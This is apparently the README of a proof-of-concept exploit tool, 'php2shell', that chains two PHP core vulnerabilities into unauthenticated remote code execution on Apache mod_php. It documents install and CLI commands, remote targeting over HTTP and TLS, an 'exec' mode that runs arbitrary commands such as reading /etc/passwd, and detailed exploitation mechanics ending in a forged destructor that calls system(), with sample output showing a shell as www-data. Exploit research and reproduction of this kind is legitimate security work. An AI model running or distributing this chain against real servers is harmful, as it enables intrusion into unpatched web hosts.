php2shell — PoC for CVE-2026-109618 + CVE-2026-109619
Unauthenticated remote code execution against Apache mod_php running a vulnerable PHP,
using only HTTP multipart requests, with no application code required and no session_start()
in the target page.
$ python -m poc exploit
php2shell poc 0.1.0 | ZSecurity | Linuxhackingid
[1/4] A1 oom status=HTTP/1.0 500 Internal Server Error
[2/4] B1 leak decoded=819208 libphp=0x78991f26f000 main=0x78991d600000 count=87
[3/4] A2 oom status=HTTP/1.0 500 Internal Server Error
[4/4] B2 forge S=0x78991d6f8398 zif_system=0x78991f6d4370 status=
RCE OK; proof /…/out/p1:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
__author__ ZSecurity · __org__ Linuxhackingid · v0.1.0
Scope and authorisation
This repository ships the exploit client only. It contains no web application, no Docker compose file and no lab harness: you point it at a vulnerable mod_php target you started yourself (see Target). It is a reproduction and verification tool for two published PHP core bugs — not a scanner, not a payload delivery tool. Do not point it at a host you do not own or have written authorisation to test.
The vulnerabilities
| CVE-2026-109618 | CVE-2026-109619 | |
|---|---|---|
| Title | RCE via OOM corruption | RCE via stale global state |
| Fixed in | 8.2.35, 8.3.36, 8.4.27, 8.5.12 | same |
| Weakness | OOM longjmp() abandons a request with request memory reachable but uninitialised; shutdown then reads/branches on it |
worker-retained globals point into a freed request heap; a later request consumes the stale value before RINIT resets it |
| Confirmed SAPI | Apache mod_php (shutdown runs even when startup failed) | mod_php; session-lifecycle path also validated on FPM per the advisory |
Vendor advisories: GHSA-w8hw-w9fx-j79w,
GHSA-6wmf-4rv5-p3rp.
Version ranges above are read from NVD cpeMatch.versionEndExcluding, not from blog prose.
Grounding notes, including every source URL and the raw mechanism text, are in
NOTES.md.
What this PoC implements — and what it does not
Four primitives were published under these two CVEs. This PoC implements two of them plus the OOM producer:
| Primitive | Implemented |
|---|---|
Upload-progress unserializer state (BG(unserialize)) → controlled corruption |
yes (A2/B2) |
Remote process-memory disclosure via stale PS(id) in a PHPSESSID cookie |
yes (A1/B1) |
OOM producer via multipart without a usable Content-Length |
yes (A1, A2) |
EG(last_fatal_error_backtrace) UAF (PHP 8.5, needs fatal_error_backtraces) |
no |
OPcache CG(map_ptr_last) cross-worker type confusion |
no |
Not validated here: FPM, FrankenPHP, LSAPI. The advisory documents FPM as susceptible by source analysis with no complete exploit demonstrated; that remains true of this artifact.
Stage → CVE mapping
The vendor does not label which primitive belongs to which CVE. This mapping is analytical, not a citation:
| Stage | Role | CVE |
|---|---|---|
| A1 — multipart OOM at END cleanup | producer: leaves dangling PS(id) / PS(mod_data), send_cookie=1 |
109618 |
B1 — second request URL-encodes the stale PS(id) |
consumer: 800 KB memory disclosure | 109619 |
| A2 — cheap OOM over nested fields | producer: leaves dangling PS(hash_serialize_verifier) |
109618 |
B2 — fake zend_reference → fake zend_array |
consumer: zend_hash_destroy calls pDestructor = zif_system |
109619 |
Install
git clone https://git.linuxhackingid.com/linuxhackingid/php2shell-cve-2026-109618-109619.git
cd php2shell-cve-2026-109618-109619
python -m unittest discover -s tests -t . # 56 pass, 4 skip (need the target binary)
Nothing to pip install. The two tests that need the target's libphp.so skip themselves on a
fresh clone — see research/README.md to enable them.
Requirements
- Docker with a Linux engine, x86_64 (the target image is
linux/amd64) - Python 3.9+ — standard library only, no third-party packages
- No shell required: the CLI talks to the Docker CLI directly, so it behaves identically from
PowerShell, cmd, git-bash, zsh, and bash. The
lab/*.shfiles are conveniences that wrap the same Python entry points.
Platform support
| OS | Status | How it was checked |
|---|---|---|
| Windows 11 | works | PowerShell + git-bash, stock PATH where bash resolves to WSL; full chain uid=33(www-data) |
| Linux x86_64 | works | Python 3.9 and 3.13 containers: full unit suite, plus the full chain executed from a Linux client against the target over a Docker network (uid=33(www-data)) |
| macOS | expected to work, not executed here | no macOS host available; the CI matrix (.github/workflows/ci.yml) runs the unit tests and offline selftest on macos-latest |
Verified interpreter versions: 3.9.25, 3.13, 3.14.7.
Quickstart
You need a running vulnerable target first (next section). Then, from any directory:
python -m poc check --url http://127.0.0.1:18110 # version, ini, libphp hash, profile
python -m poc exploit --url http://127.0.0.1:18110 # A1 -> B1 -> A2 -> B2 -> proof
Sample output:
[1/4] A1 oom status=HTTP/1.0 500 Internal Server Error
[2/4] B1 leak decoded=819208 libphp=0x78991f26f000 main=0x78991d600000 count=87
[3/4] A2 oom status=HTTP/1.0 500 Internal Server Error
[4/4] B2 forge S=0x78991d6f8398 zif_system=0x78991f6d4370 status=
RCE OK; proof C:\Users\you\AppData\Local\php2shell\out\p1:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
The proof file is written by the target into its /out mount. This client looks for it in a
fixed per-user directory — %LOCALAPPDATA%\php2shell\out on Windows,
${XDG_DATA_HOME:-~/.local/share}/php2shell/out on Linux/macOS — so the folder you run poc
from does not matter. Point the target's /out at that directory, or pass --proof PATH.
poc exploit refuses to run when nothing is listening and tells you so. Nothing is chained
implicitly: check only reads configuration, leak stops after the disclosure, exploit sends
the whole chain.
Target (not shipped)
Requirements, all confirmed against php:8.4.26-apache:
- Apache mod_php (not FPM — the confirmed path depends on mod_php's shutdown running after a failed startup)
php.ini-production:memory_limit=128M,post_max_size=8M,display_errors=Off,output_buffering=0,session.upload_progress.enabled=On- one prefork child for deterministic results (
MaxRequestWorkers 1); with more workers the four requests must otherwise land on the same child - a writable
/outmount which matches the client's proof directory
Minimal target, two files plus a container. index.php:
<?php echo "OK\n";
apache-single-worker.conf:
KeepAlive Off
<IfModule mpm_prefork_module>
StartServers 1
MinSpareServers 1
MaxSpareServers 1
MaxRequestWorkers 1
ServerLimit 1
MaxConnectionsPerChild 0
</IfModule>
OUT="${XDG_DATA_HOME:-$HOME/.local/share}/php2shell/out"; mkdir -p "$OUT"
docker run -d --name p2s-lab -p 127.0.0.1:18110:80 \
-v "$PWD/index.php:/var/www/html/index.php:ro" \
-v "$PWD/apache-single-worker.conf:/etc/apache2/conf-enabled/zz-p2s.conf:ro" \
-v "$OUT:/out" \
php:8.4.26-apache /bin/sh -c 'cp /usr/local/etc/php/php.ini-production /usr/local/etc/php/php.ini;
chown -R www-data:www-data /out 2>/dev/null || true; exec apache2-foreground'
On Windows/PowerShell use forward-slash paths (C:/Users/you/...) and
$env:LOCALAPPDATA + "/php2shell/out" for OUT. The asset files are deliberately not part of
this repository — the exploit client is the deliverable, the target is your lab.
CLI
| Command | Purpose |
|---|---|
poc check |
preflight: php version + vulnerable/patched verdict, nine ini values, libphp.so sha256 → profile, worker count. Exit 1 when the target is patched or the build is unknown. Sends no exploit traffic. |
poc status |
diagnostics for a local container via docker exec: php/apache version, the nine ini values, libphp sha256, worker count |
poc offsets --lib PATH |
derive zval_ptr_dtor, zif_system, zif_passthru from an ELF .symtab/.dynsym |
poc leak |
A1 + B1 only: produce and classify the disclosure cookie (--save keeps the raw response) |
poc exec --cmd CMD |
full chain with CMD wrapped so its output returns to you via /out/.poc-exec; prints the output, returns its exit code |
poc exploit |
full chain; --dry-run forges and hashes all four bodies without touching the network; --retries N; --cmd; --proof |
poc selftest |
offline: build all four bodies, check sizes and layout invariants |
All commands accept --host --port --url --path --tls --insecure --profile --workers --json.
--workers N occupies N-1 prefork children so the four chain requests land on the same worker.
--name (default p2s-lab) selects the container for check and status.
Targeting a URL or a remote host
poc exploit and poc leak accept a URL instead of host/port:
python -m poc exploit --url http://127.0.0.1:18110
python -m poc exploit --url http://10.0.0.5:8080/app/index.php
python -m poc leak --url http://lab.internal --save leak.resp
--url fills in host, port (80 for http://, 443 for https://) and the request path (default
/index.php); --host, --port, --tls and --path override it. TLS is real TLS: certificate
verification is on by default, so a lab with a self-signed certificate needs --insecure:
python -m poc exploit --url https://127.0.0.1:18443/index.php --insecure
python -m poc exploit --host 10.0.0.5 --port 8443 --tls --insecure
What is verified over TLS: the transport layer (handshake, certificate rejection by default,
chunked framing through a ssl socket) and stage A1 against a TLS-terminated target — it returns
the real 500 OOM. What is not reliable: stages B1 onward when a reverse proxy sits in front
of mod_php, because the worker aborts during that request's shutdown and the proxy turns the
truncated upstream response into 502 Bad Gateway (measured: direct http:// to the same
container gives full RCE; the same container behind nginx TLS gives 502 at B1). Point the chain
at mod_php directly rather than through a TLS terminator, a CDN, or a load balancer.
Only point this at a host you own or have written authorisation to test. There is no scanning,
no target list, no threading: one URL, one chain, and the proof lands in the mounted out/
directory, so a remote target needs a way for you to read that file (or --cmd with an
out-of-band effect you can observe).
A URL is not sufficient on its own for the chain to work. The technical preconditions are:
- Apache mod_php. The vulnerability's confirmed path depends on mod_php running request shutdown even when startup failed. FPM, FrankenPHP and LSAPI are not covered here.
- All four requests must hit the same prefork child. Behind a load balancer, a CDN, or a
multi-worker pool without pinning, the dangling pointers do not survive. Locally
--workersoccupiesN-1children; you cannot do that to someone else's server, so target pools must be small (ideally one worker) or the chain has to be retried a lot. - The build must match a profile.
s_delta,hsv_delta, the destructor offset and the fingerprint counts are per-libphp.so.poc checkandpoc statuswork bydocker exec, so they only apply to the local container — for a remote host, obtain itslibphp.so, verify the SHA-256, runpython -m poc offsets --lib <file>and add a profile keyed by that hash before expecting the write primitive to land. - Default input limits.
memory_limit=128M,post_max_size=8M,output_buffering=0andsession.upload_progress.enabled=Onare what the OOM stages were calibrated against.
In other words: a URL is convenient for your own lab published on a LAN or in a cloud network, not a general-purpose remote exploit.
"Persistence" — two different questions
1. Connection persistence: not needed, and not used. Every request is its own TCP connection
with Connection: close, chunked only where the body must bypass post_max_size. What has to
"persist" across A1 → B1 → A2 → B2 is the worker process, not the socket: PS(id) and
PS(hash_serialize_verifier) live in the child's globals and the heap layout is per-process. That
is why --workers exists — it occupies N-1 prefork children so the four requests land on the
same one. A keep-alive connection would not help; a different child breaks the chain.
2. Session persistence after RCE: there is none, by design of the primitive. The payload is
system() reached as a pDestructor from zend_hash_destroy during request shutdown. That means:
- it fires once per request, synchronously, and blocks the worker until the command returns;
- there is no stdin and no stdout — output only exists if the command writes it somewhere
(which is why the proof goes to the mounted
/out); - the forged array is consumed at shutdown, so a second command needs the whole chain again (~2 s per command), not a resumed session.
poc exec makes that cycle convenient — it wraps your command so stdout/stderr land in
/out/.poc-exec, runs the chain with retries, prints the output back, and returns a real exit code:
python -m poc exec --cmd 'id; hostname; uname -sr'
python -m poc exec --cmd 'ls -la /var/www/html'
python -m poc exec --cmd 'cat /etc/passwd | head -3'
Measured on this lab: 5 sequential poc exec cycles on the same worker, 5/5 exit 0, zero
retries, with a counter file in /out incrementing 1→5 — so the worker survives repeated
cycles; what does not exist is a shared session. Anything that must survive between commands has
to be written to disk (/out) rather than held in memory.
Stage 3 can miss intermittently: A2's cheap OOM leaves the stale pointer at a slightly different
spot, B2 then completes normally (200, worker alive) instead of firing the destructor, and no
output appears. poc exploit prints
no command output; B2 status=... - stage-3 placement missed and retries the whole chain; keep
--retries at 3 or higher. Three consecutive cold starts (fresh container each) all succeeded on
attempt 1, so the miss is occasional rather than systematic.
For commands longer than the 200-byte carrier limit, write a script into out/ and run
python -m poc exec --cmd 'sh</out/c'.
Deliberately not shipped: an interactive shell, a backdoor, auto-reconnect, or a dropper.
A persistent channel would be a listener inside the container plus a published port (lab-only, and
we control docker run), or a polling loop over the mounted volume — both are implant mechanics
rather than proof-of-concept mechanics, and they are out of scope for this artifact. If you need
one for an exercise, build it yourself against a target you own; the primitive here gives you
arbitrary system() and nothing else.
Status — what was verified, and how
Every row below is a command that was actually run in this environment, with its own artifact.
| Stage | Command | Observed |
|---|---|---|
| Lab build identity | python -m poc check |
PHP 8.4.26 NTS, libphp.so sha256 51663cf8…f4ee679c = profile; Apache 2.4.69; memory_limit=128M, post_max_size=8M, display_errors=Off, session.upload_progress.enabled=On; 1 worker |
| Symbol offsets | python -m poc offsets --lib research/libphp.so |
zval_ptr_dtor=0x65eb60, zif_system=0x465370 — matches the profile |
| Offline suite | python -m unittest discover -s tests -t . |
60 tests, all pass, 0 skipped |
| Body parity | tests/test_bodies_parity.py |
A1/A2/B1 SHA-256 identical to the reference generators (8e8fc166…, 7af66c8f…, b6c547e0…) |
| Stage 1–2 (disclosure) | python -m poc leak |
A1 → 500; B1 → 200 with an 819 208-byte decoded cookie; zval_ptr_dtor ×1095; libphp − main in range; main-chunk fingerprint count 87 |
| Stage 3–4 (RCE) | python -m poc exploit |
[4/4] … RCE OK, out/p1 contains uid=33(www-data) gid=33(www-data) groups=33(www-data); exit 0 |
| Reproducibility | 3 fresh containers, one run each | 3/3 uid=33(www-data) |
| Repeat commands | 5 sequential poc exec cycles, same worker |
5/5 exit 0, 0 retries, counter in /out reached 5 |
| Linux (unit) | python -m unittest inside python:3.9-slim and python:3.13-slim |
67/67 OK on both |
| Linux (chain) | python -m poc exec --url http://p2s-lab/index.php from a python:3.9-slim container on the lab network |
uid=33(www-data) |
| Windows shell independence | python -m poc exploit from PowerShell with a stock PATH where bash resolves to WSL |
exit 0, proof written - the CLI never invokes a shell, so WSL-vs-git-bash resolution cannot break it |
| Specificity | same target recipe on php:8.4.27-apache, then poc check / poc exploit |
check → 8.4.27 patched, NOT READY, exit 1; exploit → A1 returns 200 (no OOM abort), B1 yields no pointers, exit 1, and no proof file is created |
| Reference control | unchanged reference chain against this lab | same proof — confirms the lab build is the one the published offsets describe |
The last two rows are the ones that matter for honesty: the chain works on 8.4.26 and does not work on 8.4.27, so it is exercising the patched condition rather than a lab misconfiguration.
How it works
Four requests, all served by the same prefork child, in order. Each request is a multipart body
built byte-for-byte by poc/bodies.py / poc/forge.py:
- A1 — chunked multipart with no
Content-Length, so thepost_max_sizecheck is skipped; 860 depth-64 nested empty-file fields plus fillers burn the 128 MBmemory_limitinside the multipart parser. The OOM bailout leavesPS(id)dangling withsend_cookie=1. - B1 — a second multipart request whose values re-fill the freed chunk with a forged
zend_stringheader (len=0xC8000) at the addressPS(id)still points to. Shutdown URL-encodes 800 KB of worker memory into thePHPSESSIDresponse cookie. The window contains a repeatingzval_ptr_dtorpointer (→libphpbase) and a 2 MiB-aligned chunk with exactly 87 pointers (→ main chunk base). Alibphp − mainrange check discards bad leaks. - A2 — 880 nested fields plus short fillers; a cheap OOM leaves
PS(hash_serialize_verifier)pointing into the heap. - B2 — a 384-byte spray of fake
zend_referencevalues rewrites that pointer to a forgedzend_arrayatmain + 0xF8398whosepDestructoriszif_system; request shutdown callszend_hash_destroyon it and executes the command.
Calibration constants are not in the code paths — they live in poc/profiles.py, keyed by the
target's libphp.so SHA-256.
Calibration model and caveats
- Offsets are per-build.
dtor_offset,zif_offset,s_delta,hsv_delta,main_bucket_count, and the delta window are valid only for thelibphp.sowhose SHA-256 keys the profile.poc checkrefuses to call the target ready when the hash has no profile. - The pointer window is canonical user space, not
0x7f. A published reference chain filters candidate pointers to≥ 0x7F0000000000. On this host the container's mmap base lands at0x73…/0x78…/0x7d…, so that filter discards the real leak and the chain fails with "no heap pointers". This PoC accepts2^36 … 2^47−1and instead gates candidate destructor anchors on page alignment of the derived base plus a quorum. That gate is load-bearing: the window's most common in-range qword is azend_stringheader (0x1600000001, 1282×), which outnumberszval_ptr_dtor(1095×) and would win a naive "most common" pick. - Re-leak, don't re-forge. A bad base recovery means the A1/B1 pair is redone, never A2/B2: the worker's addresses are already poisoned once A2 runs.
- Command length is capped at 200 bytes by the 384-byte carrier (
0x160 − 0x98). For longer payloads, write a script into the mountedout/directory and runsh</out/c.
Repository layout
poc/ profiles · outdir · elf · wire · bodies · forge · leak · cli
tests/ 60 unit tests; golden body hashes live in tests/golden/bodies.json
research/ provenance of the golden hashes (reference clone is gitignored)
There is no lab/, no compose file and no target webroot here: the client is the artifact.
research/upstream/ is a read-only clone of the public reference chain, used once as a control
test and to generate the golden body hashes. Nothing in poc/ imports it.
Attribution
PoC, harness and calibration: ZSecurity — Linuxhackingid (__author__ / __org__ in
poc/__init__.py, and the banner every command prints).
Primitive discovery and public analysis: Wiz Research ("PHP2Shell"), the PHP security team (Jakub Zelenka), and the authors of the public reference chain used for control testing and golden-hash generation. This repository is an independent rebuild of those published primitives with a profile-driven calibration model, a staged verifier, and a patched-build negative control; the wire bodies are reimplemented and proven byte-identical rather than vendored.
License
MIT — see LICENSE. Copyright (c) 2026 ZSecurity (Linuxhackingid).
The research this artifact reproduces is not covered by that licence; cite the vendor advisory and the original researchers listed above.